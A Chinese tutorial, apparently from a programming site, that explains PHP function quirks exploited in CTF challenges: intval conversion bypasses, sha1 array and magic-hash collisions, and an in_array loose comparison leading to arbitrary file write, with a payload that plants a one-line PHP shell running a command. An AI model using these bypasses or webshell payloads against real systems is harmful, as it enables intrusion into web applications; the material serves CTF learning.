CTF中的PHP特性函数解析之中篇

作者:XINO 时间:2023-06-11 12:56:20 

前言

上篇文章给大家带来了PHP中最基本的特性,不知道大家学习的怎样了,回顾上文,我们讲了MD5强弱碰撞以及正则匹配的绕过,总体来看还是很简单的,下面给大家带来新的PHP特性讲解,会稍微比上一篇难一些。

intval()

上一篇在最后时简单介绍了一下这个函数,我们看看官方是怎样定义的:

CTF中的PHP特性函数解析之中篇

简单来说就是让输入的数字变成整数,下面我们举个例子:

echo intval(1145.14);                     // 1145
echo intval('114514');                    // 114514

可以发现只对有小数点的数字起作用,正常的整数还是照常输出,那么它在CTF中是如何考察的呢,查看下面代码:

if($num==="1145"){
       die("no no no!");
   }
   if(intval($num,0)===1145){
       echo $flag;
   }

要我们强类型传入的不能等于1145,但后面经过intval函数又要等于1145,这不和前面的矛盾了,我们要怎样做呢?

这里介绍一下intval的特性,如果我们在函数里传入字符串,那么该函数就会返回不是数字的字符之前的数字,也就是说我们传入:

sum=1145a

intval就会判断我们传入的是1145,从而实现了绕过,还有另一种绕过方法:

CTF中的PHP特性函数解析之中篇

当base为0时,intval会自动进行进制转换,我们可以传入1145的十六进制形式来绕过。

strpos()

CTF中的PHP特性函数解析之中篇

根据手册可以看到,该函数以及与其类似的函数,作用都是匹配第一个或者最后一个字符,根据该函数特性,题目会经常围绕它作为一个限制头部的点,比如上面那题可能会增加限制:

if(!strpos($num, "0")){
       die("no no no!");

因为八进制开头通常为0,检测到的话就不能通过进制转换来绕过了。

sha1

CTF中的PHP特性函数解析之中篇

p>该函数的利用以及绕过方法类似于MD5函数,都是运用了PHP特性来做,这里简单看一下:


数组比较

类似于MD5,在SHA1里我们也可以使用数组绕过,具体可以看下面例子:

if(sha1($a)==sha1($b) && $a!=$b){
 echo $flag;
}

可以看到,也是一个弱比较,根据PHP特性sha1函数无法对数组进行处理,,于是我们传入数组来使结果为NULL:

a[]=1
b[]=2

强类型

与MD5相同,当然也存在强类型比较,我们不能用数组来进行绕过了:

if(sha1($a)===sha1($b) && $a!=$b){
 echo $flag;
}

这里同样有类似于MD5函数的解决方法:

a=aaK1STf    //0e7665852665575620768827115962402601
b=aaO8zKZF   //0e89257456677279068558073954252716165

array_push()

CTF中的PHP特性函数解析之中篇

可以理解为向数组尾部插入参数,我们看看是如何考察的:

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
   array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
   file_put_contents($_GET['n'], $_POST['content']);
}
?>

可以看到题目先向数组里插入随机数,in_array()是搜索数组中是否存在指定的值,根据它的语法:

CTF中的PHP特性函数解析之中篇

type会判断类型是否匹配,这就是我们利用的点,因为数组里数据为int型,根据PHP特性比较后字符串会转成int型,也就是说我们传入1.php也是没有问题的,后面有个写入文件操作,正好可以设置一句话木马连接后门,或者进行命令执行:

get:  n=1.php
post: content=&lt;?=`tac f*`;

来源:https://juejin.cn/post/7177373916879388731

标签:CTF,PHP,特性函数
0
投稿

猜你喜欢

  • sql 修改表的所有者

    2024-01-14 15:05:19
  • 树莓派+摄像头实现对移动物体的检测

    2022-05-28 19:57:26
  • 工程师必须了解的LRU缓存淘汰算法以及python实现过程

    2023-05-22 22:46:00
  • UEditor 编辑器跨域上传解决方法

    2022-09-07 11:52:41
  • SQL Server免费版的安装以及使用SQL Server Management Studio(SSMS)连接数据库的图文方法

    2024-01-15 03:45:14
  • mysql5.7创建用户授权删除用户撤销授权

    2024-01-22 17:52:11
  • FCKeditor编辑器实战技巧

    2007-10-08 21:13:00
  • mysql修改记录时update操作 字段=字段+字符串

    2024-01-25 08:29:53
  • Python之web模板应用

    2021-06-27 10:13:47
  • numpy给array增加维度np.newaxis的实例

    2023-06-30 06:41:34
  • Python特效之数字成像方法详解

    2022-09-12 13:16:22
  • 手动实现vue2.0的双向数据绑定原理详解

    2024-04-27 16:09:15
  • Python的地形三维可视化Matplotlib和gdal使用实例

    2021-05-26 13:35:30
  • numpy matrix和array的乘和加实例

    2022-09-29 15:17:45
  • Vue.js 加入高德地图的实现代码

    2024-05-28 15:51:31
  • asp 采集程序常用函数分析

    2011-03-16 11:03:00
  • Python 微信爬虫完整实例【单线程与多线程】

    2023-08-19 23:12:58
  • Python3 执行系统命令并获取实时回显功能

    2023-12-06 13:23:10
  • ASP开发中可能遇到的错误信息中文说明大全(整理收集)第1/2页

    2010-07-02 09:50:31
  • asp中文件与文件夹常用处理函数(文件后缀、创建文件等)

    2011-02-20 11:00:00
  • asp之家 网络编程 m.aspxhome.com